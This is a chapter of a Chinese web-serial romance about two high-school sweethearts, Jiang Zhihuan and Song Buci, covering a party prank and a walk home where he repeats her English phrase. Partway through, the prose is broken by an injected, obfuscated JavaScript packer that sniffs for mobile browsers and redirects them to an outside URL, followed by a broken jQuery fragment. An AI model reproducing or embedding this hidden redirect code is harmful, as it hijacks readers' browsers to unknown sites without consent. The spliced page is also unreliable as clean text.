欢歌笑语中,姜知幻忽然说了句英文,故意压低的声音完全被其他音量掩盖,无人在意,甚至无人发现她动过嘴。 但宋不辞扭头了,似乎听清楚她说的什么,灯光在漆黑的瞳仁聚成了个小点,他的眼神仿佛一下子亮了,还含着丝丝意外之色。他的视线极轻地落在姜知幻身上,胸口也极轻地起伏了下,看一眼后将头摆正,但终是忍住又看了第二眼。 看似随性的模样下掩藏着躁动不休的心,宛若情窦初开。 姜知幻太熟悉他这副样子,次次偷偷地、贪恋地看了一眼又一眼,却刻意避开她的目光,因为不太敢对视。 … 准备离开时,姜知幻和宋不辞走得快,先出了门,然后两人分别在门口两边静待。 从里面看,没人知道门两边站着人。 冯潇潇撇撇嘴,点评了四个字:“重色轻友。” 脚步声越来越近,姜知幻与宋不辞对视,默契地笑笑。两人抓准时机,在有人要踏出门的瞬间,忽然一只脚跺了下地板,伴随一声响亮的:“嘿!” 倒霉蛋范洋走在最前面,转头问身后的温玉“架子鼓学起来难不难”,下一秒就被突如其来的恶作剧吓得跳了起来,头差点磕到门框。其他人也毫无防备,受到不同程度的惊吓。 “你们两个是小学生吗?”冯潇潇惊魂未定地拍拍胸口,语气有些恼。 但两个“小学生”早已跑路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024264|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是大家达成共识,自动自发地分成两拨人,女生去抓姜知幻,男生去抓宋不辞。 … 晚自习下课,班内瞬间成了闹哄哄的一片。不知谁说了句“明年见朋友们”,立马出现人传人的现象,整个教室都是此起彼伏的“明年见”。 向来爱凑热闹的宋不辞却没跟风。 一想到明天就能见到傅琳和姜陆予,回去的路上,姜知幻脚步轻快得像是踩在云上。以往动嘴皮最多的是宋不辞,而他今晚罕见地没怎么说话,都在听她说。 姜知幻其实不是个倾诉欲强的人,加上在社交方面,别人主动找她搭话与她主动找别人的比例近乎为9:1,由此形成了不需要绞尽脑汁想话题的惯性,因为对方会带着话题来。 正因如此,姜知幻格外喜欢和宋不辞的相处状态,与他聊天,她会自然而然地多说两句,再多说两句,而即使都缄口不言也没有觉得尴尬或不自然。他在身边,感觉总是温和又安定,像平缓的水流淌过心间,不急不躁。 这一点最特别。 宋不辞喜欢听姜知幻讲话,光靠弯弯的眼眸、翘起的嘴角就能想象出她整个人雀跃时的状态,以及能清楚感受到她的喜悦。 有种“隔着屏幕就让他嘴角上扬”的感觉。 莫名的,宋不辞情不自禁地幻想起以后每一次和姜知幻散步回家的场景。 可以无话不谈地遛月亮,也可以安静享受晚风吹。 “不过我和她已经很久没见面了。”姜知幻说的是她以前在一场机车局里认识的女生,叫文陌,两人的兴趣爱好高度相似,加上文陌的骑车技术不错,经常约着玩。 宋不辞在这个话题上多问了嘴,“不喜欢玩了吗?” “是也不是。我所有的兴趣爱好都不长久,刚开始接触恨不得天天就干这件事,但玩多了就感觉没那么有意思,久而久之就搁置了。”姜知幻说,“但也没到不喜欢的程度,就是不经常玩。但你要是想玩,我可以陪你。” 听到“不长久”三个字,宋不辞的心略微颤了下,直到她说完,才点了点头,问:“想玩什么都行?” “只要不触及底线,都行。”姜知幻答。 至于底线在哪,她没说。 宋不辞笑了,大概是有这句话就够了。 他忽地问:“生日那天,在江城过吗?” “嗯。”既然父母都来了,姜知幻也没有往京城跑的意愿,只是,“寒假应该要在京城待一段时间,你怎么安排的?” “我也要去京城。”宋不辞有些事情要处理。 “行,到时候你有空了,我带你去见见我朋友。”姜知幻已经开始在脑中分配寒假时间了。 她话里的意思很明显,就是想让自己圈子里的人认识他,而且是可以真正称得上朋友的人,不是泛泛之交,酒肉朋友。 “认真的?” 姜知幻看了他眼,似笑非笑道:“这么优秀帅气的男朋友,不炫耀炫耀可就太可惜了,” “不过,我也可以先带你去见我爸妈。”她补充道。 宋不辞咽了咽口水,“这件事吧,我也需要点时间。” 现目前,他没有丁点心理准备。 姜知幻笑他,“宋不辞你怂不怂?” “我是怂货。”宋不辞很没有骨气。 姜知幻乐得不行,她靠在他身上笑了好一会儿,才说:“行吧,反正迟早会见。” 暂且放你一马。 见宋不辞爷爷奶奶的事约在了十二月最后一天,也就是后天下午。 分别时,宋不辞叫了声姜知幻的名字。 姜知幻转身,明净的眼睛一眨不眨地看着他。 “Foreverpalpitateforyou.” 永远为你心动。 少年的声音轻轻飘进她耳中,语气认真。 这是姜知幻在道具间里说的那句英文。 宋不辞复述完,强装镇定地轻磕了声,到底是招架不住姜知幻的目光,别过头时耳根红了个彻底。 姜知幻狠狠怔住,丝毫不知原来自己无意识说出的话,乱人心神的威力还挺大。 心脏怦怦跳,声音响亮得仿佛下一秒就会被发现。她看了看悬挂夜空的月亮,脑子一热,语气有些慌不择路地转移注意力,“你看,今晚有我喜欢的月亮。” “月亮也很喜欢你。” 此月亮非彼月亮。 这是宋不辞今晚红着耳朵说出的最后七个字。